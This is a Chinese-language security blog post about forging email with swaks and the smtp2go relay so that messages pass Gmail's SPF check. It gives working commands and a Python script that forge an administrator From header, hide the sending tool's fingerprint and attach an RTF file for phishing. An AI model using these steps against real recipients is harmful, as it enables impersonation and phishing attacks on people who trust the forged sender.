倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

09 May 2019

Swaks伪造邮件

0x00 swaks

swaks - Swiss Army Knife SMTP, the all-purpose smtp transaction tester.

swaks堪称SMTP协议的瑞士军刀,使用它我们可以灵活的操作SMTP协议报文,这篇文章主要是记录一下我是如何伪造一封邮件绕过gmail的检测。

通常最简单的发送命令:

1
swaks --to [email protected] --server test-server.example.net

但是邮件头中会带上X-Mailer

2019-05-09-14-24-53

同时,SPF检测会FAIL。

0x01 smtp2go

这个是从evi1cg师傅那里看到的,smtp2go主要是相当于邮件托管,可以分发子账户进行发送。

地址:https://support.smtp2go.com/hc/en-gb

(邮箱注册)普通账户可以免费发1000封邮件。

分配好账户后,可以通过swaks进行登录发送邮件:

2019-05-09-14-28-50

0x02 swaks发送邮件

1
swaks --to [email protected] --from [email protected] --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS>

但是上面这个邮件无法绕过SPF。

0x03 SPF验证原理

如果mail.smtp2go.com是我的邮件服务器,那么gmail服务器收到的源IP也肯定是mail.smtp2go.com的IP。

gmail会校验邮件发送者的IP是否存在于smtp.from的域名spf配置列表里。

而上面这条命令:

1
swaks --to [email protected] --from [email protected] --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASS>

smtp.from就是[email protected],和mail.smtp2go.com的IP肯定不同,所以SPF校验失败,而校验失败的邮件,会有很高的几率被扔到垃圾邮件中。

默认情况下,如果未设置Mail.From也就是邮件头的From,则会使用smtp.from作为Mail.From。

2019-05-09-14-38-39

0x04 绕过SPF

由于邮件显示的是Header中的From不是smtp.from,因此可以将smtp.from设置为正常的邮件服务器地址,伪造一个Mail.From即可。

1
swaks --to [email protected] --from [email protected] --h-From: '管理员<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS>

Gmail接收到这封邮件后,会校验--from [email protected]中的smtp2go.com是否等于mail.smtp2go.com的IP,由于是相等的,所以完成了SPF的校验。

而DKIM是校验邮件完整性的,smtp2go与Gmail直接使用的是TLS,不会发生什么问题。

2019-05-09-14-42-55

0x05 Header

swaks支持自定义某些Header,参数如下:

1
swaks --header-<Name> <Value>

如果我想去除Mailer特征,就可以这么做:

1
swaks --header-X-Mailer gmail.com --to [email protected] --from [email protected] --h-From: '管理员<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> 

0x06 附件、钓鱼

1
swaks --header-X-Mailer gmail.com --to [email protected] --from [email protected] --h-From: '管理员<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf

定制发送:

1
swaks --data /tmp/mail.data --header-X-Mailer gmail.com --to [email protected] --from [email protected] --h-From: '管理员<[email protected]>' --ehlo gmail.com --body hello --server mail.smtp2go.com -p 2525 -au <USER> -ap <PASSS> --attach /tmp/sss.rtf

/tmp/mail.data中是原始的邮件报文。

0x07 Python也可以做

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python
# -*- coding: UTF-8 -*-

import smtplib
from email.mime.text import MIMEText
from email.header import Header

mail_host="mail.smtp2go.com"
mail_user=""
mail_pass=""


sender = '[email protected]'
receivers = ['[email protected]']

message = MIMEText('Hello World', 'plain', 'utf-8')
message['From'] = Header("[email protected]", 'utf-8')
message['To'] =  Header(receivers[0], 'utf-8')

subject = 'SMTP 邮件测试'
message['Subject'] = Header(subject, 'utf-8')


try:
    smtpObj = smtplib.SMTP()
    smtpObj.connect(mail_host, 25)
    smtpObj.login(mail_user,mail_pass)
    smtpObj.sendmail(sender, receivers, message.as_string())
    print "Success"
except smtplib.SMTPException:
    print "Error"